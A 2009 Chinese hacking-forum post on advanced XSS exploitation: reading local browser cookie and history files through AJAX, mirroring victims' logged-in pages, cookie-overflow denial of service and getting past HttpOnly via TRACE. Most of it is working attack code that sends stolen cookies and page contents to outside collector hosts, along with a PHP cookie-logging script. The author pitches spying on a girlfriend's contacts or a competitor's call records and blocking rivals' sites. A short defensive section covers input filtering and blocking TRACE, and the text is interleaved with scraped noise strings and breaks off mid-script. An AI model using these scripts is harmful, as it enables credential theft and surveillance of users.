XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页) x6 \* I, D9 {* v; E/ r
本帖最后由 racle 于 2009-5-30 09:19 编辑
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' J7 g. x+ I0 K+ L0 tXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页4 m. V- T3 C: c: r- d
By racle@tian6.com
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转帖请保留版权, D8 a9 S* r- h1 u+ t6 W
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" w& f1 ~ s9 I5 S- h-------------------------------------------前言---------------------------------------------------------2 Y9 C3 r7 J3 m: l, r1 [
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" x6 c# ^ O* g- e3 W3 q1 a- @本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.- ]4 ]* j8 [) F4 B4 N) V7 o8 m! s
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
' T0 F7 x! m1 @/ X6 b6 K' ohttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介6 d5 c1 i: D( n% v% E- A3 T
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全" J( Q7 t0 E# R" h
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
) a0 r& N; V* Z$ D8 v! | t' l- dhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF: n, V6 W; Y: V$ n6 ] d, W* O
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
4 k9 }# { h, t1 {8 C) c Ihttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持' U6 A; d3 R7 g! B
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# a& @2 g. h5 e t8 b6 H如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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7 s( b4 T a: p) m1 k希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.' ~( B- |5 o' K3 {
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,* \! u8 ~! a; z8 ]# X! e1 @
$ F0 E# a- z3 i4 b. UBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大5 ?$ f% l6 p% [; L( M! n4 b0 r
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QQ ZONE,校内网XSS 感染过万QQ ZONE.% |3 t8 e: [9 g+ N! `( }
2 C1 M3 n" ~7 E3 x! {3 S: L! ]& a8 ^OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪% @3 x( Y- h' ?8 q4 R$ U1 T
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复制代码------------------------------------------介绍-------------------------------------------------------------1 m9 N* D, R4 x C: ]
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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. v0 X c0 a+ k, I8 R+ {如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
! ~5 {; A2 s* D8 @7 Z复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.0 E+ b7 U, n* k% F
我们在这里重点探讨以下几个问题:; M' p8 S5 N; A
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1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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$ ~2 } ^4 \4 f; D. Z3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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8 m0 a8 u# b+ u- b$ P4 XSS漏洞在输出和输入两个方面怎么才能避免., \' ?. @8 }- r" M# ~: l8 ~, M( u( O
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------------------------------------------研究正题----------------------------------------------------------+ L+ U4 X0 F7 p3 \. o
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- _' A4 }% ?" w! Y通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
8 y. r) ]) x+ S; o% v: P% V* P复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫 ^4 j5 E9 d8 z+ E
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.8 {) j3 k/ ?3 D5 m* l0 ?
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
7 b9 Q7 \* k5 S4 y4 Q$ L2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
2 l N( c/ i6 w4 Z2 B. l5 s: h$ r3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
+ C2 F9 O6 d& _# Y K0 ?, y1 M0 \ _$ [4:Http-only可以采用作为COOKIES保护方式之一.9 {9 ^9 m5 }# _" R5 Q; l- {
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者), A$ L" T" B3 z# M- m
9 ]+ ^7 d [+ z- n; _' w- X我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)$ p- h/ w5 t9 c% X9 w6 W: y: V6 @5 {
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5 w8 O0 M1 Z9 h r% s+ e6 M 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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! `; g2 d; a) e, @% [7 W 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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* H. r- e* P, n! v! V& L' F 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.: \7 l$ l. ~" B( n6 v
复制代码IE6使用ajax读取本地文件 <script>
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) u3 T2 G+ F) }8 D" ^" q: E4 @8 c function $(x){return document.getElementById(x)}
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request = new XMLHttpRequest();
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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' { X7 N$ C! b3 Q* K* m5 e8 | 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {
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request = new ActiveXObject(versions);
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} catch(e) {}
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return request;5 @+ T6 j2 |+ C% u! n
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function _7or3(_m,action,argv){% \9 ]% Z) O* F+ {/ U! @
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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return _x.responseText;
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. \. c- T6 I3 A var txt=_7or3("GET","file://localhost/C:/11.txt",null);% T* j2 W8 M# M; |
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</script>* n/ c- \! A& A
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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var request = false;
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request = new XMLHttpRequest();6 v5 I. c4 k3 G }
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} else if(window.ActiveXObject) {9 Q$ n. J, ~: o; c! O
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for(var i=0; i<versions.length; i++) {+ C. g8 L8 h0 [0 X6 H& I2 E' o
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} catch(e) {}' T2 D2 z) z6 g& h
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}
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);2 Z. `0 K; h; T+ V% d
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: s3 g9 L: h- u0 X% n var txt=_7or3("GET","1/11.txt",null);
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复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”) @4 ]% s/ P0 ]+ j) l9 B9 r# j1 Z
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* S. D5 F J3 Z( X6 M) {" g" {Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/* % ^. t1 u* p$ ~* A+ {
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22
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& q3 L( Z* T0 U- R4 q G/ C8 m http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. - y7 I! K) u5 g' F
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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header("Content-type: application/kxlzx");
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/* . _3 E: ~9 G4 O8 ~7 ?4 w9 ?# d
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set header, so just download html file,and open it at local. ! K, F0 f6 ~' v
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* }! t% Z9 D9 J2 j& U<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> " C2 t6 w* A4 m
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<input id="input" name="cookie" value="" type="hidden"> 7 V7 ]9 I, o" d2 k4 N. l
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9 q, F* R) ? {5 F<script> 7 W4 d' n% |: g
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, o- ?% a2 W( {7 |5 m+ Q: bvar time = Math.random(); ) A9 S4 e- p" J2 e" j) s
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/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default , @' f" t! r: [) x! j7 h1 P
$ A n+ k5 V1 I, m( t: Y7 Mand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History 8 L) F, ?1 @% K1 \ W
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startRequest(strPer); . R3 W; {! J) a1 w+ z6 ?
+ H* W; J( O1 U2 K) P% N8 R* C
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}
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E0 r# o$ ]+ y, X; N. |
8 W, }, T. ~5 y) s: {: i; A5 p% Gfunction Enshellcode(txt) 7 g; a" i9 }$ _8 q% u
5 J. @; _! }% K: B/ T% T
{ 8 @2 H$ _4 X% g p7 i
+ T8 u2 p" W' G2 p2 z* b- pvar url=new String(txt); , g3 ^% ]: M5 K! R2 }* H
% E% d; q, l9 p2 I4 \var i=0,l=0,k=0,curl="";
7 o9 Y( Y* c: m- E
0 |+ F4 N/ v- i+ Q& [4 h( Pl= url.length;
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for(;i<l;i++){ 2 ^2 g; C3 L$ J, ~: g
2 D( D+ I5 M2 K7 t: S! G' yk=url.charCodeAt(i);
9 V& v/ h: `- B/ S' W
, s1 k S2 @* I# Oif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} , `3 ?1 G6 T% }6 |1 C
: n) r+ @0 |- e$ j/ f1 Wif (l%2){curl+="00";}else{curl+="0000";}
; K& ~3 N; b& v& P
2 T0 j* c s! n8 C5 R# B# gcurl=curl.replace(/(..)(..)/g,"%u$2$1"); ( j7 p: U# p9 G/ k0 A& q) Z
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return curl;
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} 8 t% {3 S N) x9 _) M! g1 e9 q' b" m
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% }! C( E+ O. ^. m* b. o) t$ n
var xmlHttp; 0 N2 y- E# q; e, G. ?9 V
+ @' [# d: R! r) ]
function createXMLHttp(){ " N6 u0 k9 y+ ~
" L, w1 p7 \+ B! k8 w
if(window.XMLHttpRequest){ $ o" D$ o( r' T; k& \
0 C& a( @2 t5 s8 d' l$ v9 _% e4 {
xmlHttp = new XMLHttpRequest(); % r# M9 e: O6 Y! v% X' S" I- R
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} 0 I( J; B" O, u: ~" R- G, ?; _
1 d7 T6 I5 |, S, r
else if(window.ActiveXObject){
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ; a/ {# I) h4 ]
6 `& T4 b8 M0 ]( j3 Q
} ( g5 L$ m3 n8 F7 |
5 m+ i( O% p$ X3 t. Y
}
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+ L% z1 N/ L$ g3 w! p% m 1 A L1 m" @% w `% x: u- p
/ E, r& O6 T4 H8 `) w% Tfunction startRequest(doUrl){
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, _" p! F7 m$ [. a0 i" K6 D8 r$ m& \- t7 W, h4 r" g/ B
createXMLHttp();
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+ h& L6 A9 d1 U+ O1 M7 O$ ]
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); " D1 ?- f7 y6 g1 B0 [) a, W! |
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xmlHttp.send(null);
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}
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7 W+ u' ]" [3 z' O8 k: z: f- I! ?
! R2 O& e. G: k! \
( w4 h" B7 ~5 Pfunction handleStateChange(){ - U' k+ n* s$ c1 h/ }0 o
& B9 g' `8 d( ^. T1 o* L/ t( y
if (xmlHttp.readyState == 4 ){ ; V9 `; A5 T+ }. O. ^3 d3 n5 j
) K0 [! _* d* n' M: {7 } var strResponse = "";
4 ?/ O! A6 b% Q8 v; ^ N$ @& H$ G9 c) Y# H2 W9 a
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
0 ~! ^ o, c2 [ a" T/ A; n, W9 i' H* t! W! q L
# }! M8 H9 y/ k( h0 T% F) ?$ `3 J& P! m
}
- \; a: N9 L0 F. x, I* s
8 n1 a# X J& _0 X' h& |} ' @2 }5 n2 S( c2 i( i% A8 y. P+ S- H
0 `, A4 R' a6 B# B/ _7 U7 N 0 N5 n, N* `* |# q
+ V" j/ X' V6 w5 E {! x4 w9 n5 ~ 4 z% @+ f- B4 d9 C" d3 e8 p/ i, S3 s
F( `) J" n$ I, x" s2 F. I9 afunction framekxlzxPost(text)
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document.getElementById("input").value = Enshellcode(text); ; J" ]" Q' g: S
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document.getElementById("form").submit();
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} 9 Z5 [9 S) l5 c, L
5 Q& X& ] o0 q) D3 _+ R* @ ; _0 S5 N, c; Y$ o0 I, ^
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doMyAjax("administrator"); 5 z- l, l# U* t# i" N
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# {* `4 L# h' W# s) X( \
* Y3 t- X* c" c+ m</script>
4 U. F0 i+ N& |, Z% L2 I+ d复制代码opera 9.52使用ajax读取本地COOKIES文件<script> , }4 T4 ~8 G+ M* S$ s
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var xmlHttp; . u. P9 O, T! k3 D2 O/ w! E2 c# L
- x, r# b% c+ |' ^function createXMLHttp(){ % p# u- S1 ^( |
& Y* F# u5 Q! j5 K1 y if(window.XMLHttpRequest){
' R0 Z# s1 R8 ~/ x" \7 o9 u4 Q* A4 B2 U' o' I* e. \
xmlHttp = new XMLHttpRequest(); 6 u9 v! c, c$ R+ B. n
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/ r8 E# i3 G1 p# y8 Y" p! K9 ?5 U! X" y( @' G. t; K4 {5 e/ u" H( t
else if(window.ActiveXObject){ 0 ~5 T6 D' y" Z1 i0 W4 i' E
* ?4 Y+ G T! y4 H. h+ g; T: _
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
) D" P' S9 I& U5 n, _! ^, a7 [6 i% e' E! l) ^0 \: ~: Q. o' \4 n% I
} : ]8 w2 A; J' q% p3 b( [. ^; v7 M
0 L. R, U+ d* b" g+ B
} - p" U9 _6 Q/ p% W9 G
* M( a5 Z- R0 P8 N4 q" u2 G7 a2 p 6 Z! `! m' a7 Q* L% |# |, j6 t
) `0 k @/ t( {/ K1 H7 k5 |
function startRequest(doUrl){ ! t( a8 N- K0 \, q6 `
" C3 M2 i6 V, m & \, ]5 T9 x! t! p% I' A: T' m
- ~) J+ f7 e7 [- T3 H+ g5 s createXMLHttp(); % ], {! [* O0 V0 u* b$ N9 S0 l* F
/ x/ @4 m) f/ F- f+ G# |: v
, ~6 t% G! v9 }
, m1 a9 O+ f1 T8 E% B, Y- d xmlHttp.onreadystatechange = handleStateChange;
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! z# S* e) q9 c c$ g; p$ R
5 s' i+ y( _, X" T9 @8 z xmlHttp.open("GET", doUrl, true); # X5 i2 y$ S' y) N$ q# R' H. V
, x5 H p# W3 x7 [0 A! y; E0 x ' v4 J2 n) h( E @& U. u
7 j! |, O3 N* B- Z1 r! ]3 w xmlHttp.send(null); 4 j \" g: l( i# N/ p
3 A ^# w7 A: ^1 L; ]) _
4 H6 O+ `+ q! m7 J0 d$ K1 }6 b( \8 O
f0 O) \1 V$ T: d f) t
5 L$ T; L0 d8 U! ~}
n, m+ _* e1 @; I' U e; I$ a2 M# h0 j& N
u2 @( O$ y2 [0 Z& H+ N
8 y/ B$ \, n4 Z" c5 k+ w: {
function handleStateChange(){ 8 A' G& I6 x* i3 B
* Z+ t, x. f) Q9 o( w1 k if (xmlHttp.readyState == 4 ){ ! p* q9 V! F1 L4 o
' A# n1 k3 v9 ^4 d! X" E+ b
var strResponse = "";
4 N; P/ V0 n. p9 {! K) S
, B3 C8 i0 W( ^, R: V setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
+ `6 W) d6 R( K# X! ~5 ?" ^$ W# d: ^' Q% p1 m/ G4 }
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8 ~1 B% [# W- A0 ]
} * f" ^9 ]9 _/ {# J
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} ! o0 `2 J7 H- [
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function doMyAjax(user,file) / U- h. t3 A- l
! T _* q( C, Y9 W- O; N( d4 I; E q{
/ ?( P; S% d; \
' t$ S1 `- ?0 u) T1 v% I1 H var time = Math.random(); 0 Z ^+ T: \( D& r, ^) [
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: R% P: i& ], C% y9 J/ T: ]
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; & Y! w% _7 j6 g1 t1 w) r! s0 ]
2 b1 R* C2 L! J6 W
3 q! S$ p6 N' ~- h+ m. r0 e
# u6 z. w/ Q D* Q2 l6 q# \2 | ]/ f startRequest(strPer);
4 z3 i2 q0 [+ ~$ `2 S5 z( _5 H) h2 ^5 g4 i+ m7 s
( a- H6 L# f) N7 X9 O i6 i' A* i( J; N
} $ n F0 L! t5 c5 E# _/ W: n
/ B) A9 y3 `) K$ `5 L
! s3 m, s9 k z0 f$ i
7 ^' y% b& I- [8 o. mfunction framekxlzxPost(text)
- `: A4 H0 ?# j- ^3 I
1 @5 {5 P8 h* r{
3 E5 C5 ~) r: ^, `7 h: K5 ]! x' ^( O6 }$ d7 H$ G
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); : i$ ]; B! Q* I0 a: k
[4 \+ C+ L; ]# z: P
alert(/ok/);
0 {: g5 g9 D) n5 E1 r1 x) e3 T1 Z# _9 }% }
}
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! N5 p/ U8 @& i- M& w7 U! t% L' S" f3 E7 V
doMyAjax('administrator','administrator@alibaba[1].txt');
; f1 G' i7 r% M) g& x
+ h8 P. v; f! {/ w% ` , G- }; l, W! a7 |
4 o% b/ H3 a+ @. Q% `+ d s. S
</script>/ T6 J$ Q) o' b4 F( X
- f2 u0 x& M' J; ]2 _
4 }8 e4 s' B# t0 q" \5 e6 X5 `$ v6 J* C4 }4 h% T- T; ^
4 k9 m2 N9 {+ \0 q' a
" c; S/ x! C w7 E. ]3 O: A" _a.php
/ c! J6 A7 E# z5 D; x& B6 C1 k! Y, X9 R. c
% u% A9 c4 Q( w
+ d0 L7 v3 W' c. a6 R! q/ b( p<?php & i z* \; i ^( N) s
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% [5 u& t3 W, l+ N, D# ]' r' }7 }( U2 c7 X& n5 z) C0 ~
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; / [; M$ v* w" q0 {4 I
9 w# z/ P) X7 Z7 u) p0 W1 V" E7 `
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]); - j+ p# j: v2 j7 r' h0 X
7 J0 ?6 @5 U+ a/ tfclose($fp);
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:* z0 w" J2 i& c/ L" b
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.& e' M! O' W, i1 V! g" d; M
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.) a& `2 U+ w* ~" R- p
6 j# N0 C' x3 f0 t- N: c6 C W代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);; Q2 }6 A F8 j0 J
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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0 ]' S9 ~/ f1 C" |2 C8 g. _( }//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
. E# X/ {. D- U' m6 U
; b" B0 l `; Dfunction getURL(s) {
' M' X, ^# l2 u3 ~/ r% C; W o" y- M7 X7 V6 R9 n
var image = new Image();# G) J- X$ v1 v q8 U. a
% F& j* G B) U+ simage.style.width = 0;
: [6 u: b$ c( U: q. p* F8 D( _9 C' X" Z' Q* X9 m9 L
image.style.height = 0;" v8 t" U! u/ J6 u& g# P
I' U! Q& G0 ?4 F: d! [* ^image.src = s;
9 s. H* ?) \. b: n: W# D% a
" i* I D1 G* |6 p* \}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
0 H% r. G `( t3 L, e复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
. s8 `( `3 f' t: d6 _! F2 ]这里引用大风的一段简单代码:<script language="javascript">- l! u, l# [7 d% v* D3 l
& X- ?1 q9 e1 t7 U
var metastr = "AAAAAAAAAA"; // 10 A0 R8 m% J$ t* R
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var str = "";
8 u1 G% e7 D8 E7 s
% o# M! ?" k9 wwhile (str.length < 4000){
+ p# f* J/ Y0 b
; L; o$ p$ i; A str += metastr;
# I- \1 p( U y' A& z1 d5 H! J( R0 @+ v, G6 P* P; o. {' l
}
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9 D( b- }5 a- _; G. ~ ]! H
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, L7 b; d0 G+ E7 c5 |4 Ddocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>. m8 e# P, r, L- ?- a4 _7 w! l; b
- G' j! ~" g7 V1 F2 o4 D详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html- Q+ c8 |5 z9 c" P- q
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
D8 U. |+ w1 q6 w0 xserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150) w! b3 \$ I7 j% Q% U$ [
/ ^7 Q$ `& h5 Q2 }" p4 Z" v假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
' O5 p8 {2 ~( s i攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.1 m' _# P1 W9 f
8 @* [- m" `" U2 a
4 D6 L- X( l. \) T2 M( A8 W
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(III) Http only bypass 与 补救对策:
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie., |* u; {" W o
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
! v# Z+ N+ w H! A$ R, e( j& d
% T+ |1 j/ t9 i m<!--5 E) i. n3 x/ f! B t
9 g/ ]( o4 d5 r) @3 u4 A4 i6 n5 ]
function normalCookie() { 6 Q4 U: \8 V. ~- ]
2 o) l4 g9 K/ d* l
document.cookie = "TheCookieName=CookieValue_httpOnly";
6 `3 w5 R/ h8 I+ G) Y* h1 s E& @) g# \- k8 C5 K. a
alert(document.cookie);. X6 s. @; T- y1 e
$ a8 |2 U' L5 L5 V
}
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' ^3 H( n& W! }; v$ R9 }& w
5 ~: z% ~6 a- A) _* t' Z% ]
% h o1 ]% A. c( o; s( \
function httpOnlyCookie() { 9 p( {& r' p+ K. e
& q, S5 }; b* _' H) i/ B5 i
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}* I- x2 R" x5 K4 G1 ~
& e2 y% }& R& K& T q+ {. x% `
: U! A# q, F- w2 x
. A0 E b W" {4 K0 d
//-->
. T" H2 G* [% M; u7 c" y
% s4 A) O% w; t, Q</script>
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# _. u0 J% |. k7 V1 v# y& \* B
+ \+ X2 E. @( {; V5 K( m. B<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
7 p+ d9 P4 p% ~% P0 z! U
. `' n: h( a% v$ c; H<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
; H. y9 ~( c! p% F; q复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>9 o+ J; p% @* H( K# @/ L. `
9 w @. ~; y! ?; J0 R2 [6 f& z( Q# @" U9 Z1 g
8 u+ z0 s" @; }1 P
var request = false;
' w a/ W f( |: e& e3 d1 Z K7 y. ^% q7 F7 q+ i/ } f
if(window.XMLHttpRequest) {! P9 v( ]. T: l" d0 B( {2 F' O
8 ?2 V1 D& g5 [2 x9 }6 S request = new XMLHttpRequest();& |! l( ?/ w9 U
( A8 O0 I/ w4 @8 ` if(request.overrideMimeType) {
% p) n5 } c, f: C! x
5 m; U7 {+ {# @) V. C0 O request.overrideMimeType('text/xml');
8 X% I; T% l7 G7 Z
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* g3 x8 p& b6 @2 I- q5 J( b0 N, w# K; y9 w+ Z; R: g+ r
} else if(window.ActiveXObject) {
" A. Z% Y0 |. a
" i0 _! e* b( b, w5 g$ E' ^ var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
5 n6 P$ [: S5 v! {
/ ~. v" k2 E/ g6 m6 E for(var i=0; i<versions.length; i++) {; d+ {) K h4 |: {/ {" J' d, J
7 z g& E2 F# \# ^ try {
5 }; d4 d/ v* L2 r# |( _8 D( J2 c8 c! g6 Y) g+ x6 N) ~
request = new ActiveXObject(versions);5 ^+ [1 l0 H' Y1 G3 e
/ G% z) C- d8 `! `0 N } catch(e) {}/ |) u5 n* u* ^9 l
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0 _( Y* |6 Y, }: R1 n& f$ Z }5 @2 V# k' e# j8 _1 g' Y1 ?1 ^
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xmlHttp=request;
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xmlHttp.open("TRACE","http://www.vul.com",false);0 N$ ?4 ]7 k: J+ N! c! Z6 q
# x3 H7 F) E2 ]8 m* K; X, Q6 Q1 g
xmlHttp.send(null);
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+ p" X. E$ d% p7 D# P" }+ OxmlDoc=xmlHttp.responseText; E- ]0 I9 ^% w0 {/ x5 S
, S8 r. J7 a* l" w4 zalert(xmlDoc);
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</script>
8 w- q3 _& D4 D复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>6 y% w6 u! @7 y( Z9 P7 ^+ ?: c
, W: v' j9 P/ a5 a3 D0 q" mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");8 U5 {8 ^7 B; _( s
5 h$ Z- ^) V7 K# v4 yXmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);* ~, `# k6 |* K5 s; K0 \. D
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var resource=xmlHttp.responseText- s) M7 g5 U- T* d" h
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resource.search(/cookies/);* z x, Q: ^, J0 x
$ ~& x0 Q2 R6 O; p& Z......................
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</script>
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& O* u* k& a% ]- \4 J" P4 }如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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1 L+ Z* P: y! u[code]
% P6 `% P4 |! I
3 G' g0 { k7 n; v7 |, CRewriteEngine On4 K; A; w R4 L: t" ?
4 g/ t, n5 T' y2 ^8 }. oRewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]' U$ {$ S$ u$ E
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7 B4 Y# }/ q" N7 J$ }- z8 q0 O8 I2 O6 P8 o, U
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求5 A% t/ N' Y0 M
$ ^; s4 E; I0 n1 c2 U
acl TRACE method TRACE
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...
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( V! l' d3 G; S8 X4 p+ Dhttp_access deny TRACE
* J( K; K) V: j$ ?8 o3 C$ i复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>! P# i5 q9 W4 r& z& W& W( L
; p# P& l+ T; Z* ~5 x- |6 qvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");1 `4 i" [( |( B( O; i
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XmlHttp.open("GET","http://www.google.com",false);
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3 k5 X% d) o( t5 R7 h2 k8 HXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");# n; B( r" u3 u. C( @; u
$ ^1 Z C7 D) S1 v, B4 }! NXmlHttp.send(null);. d+ E" F$ G8 U1 K9 E# N- G
& X! r% S" M: y</script>
# ^$ { M# d' _5 p4 v+ W/ r复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script> n# Y3 i: H+ b# Q. T
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
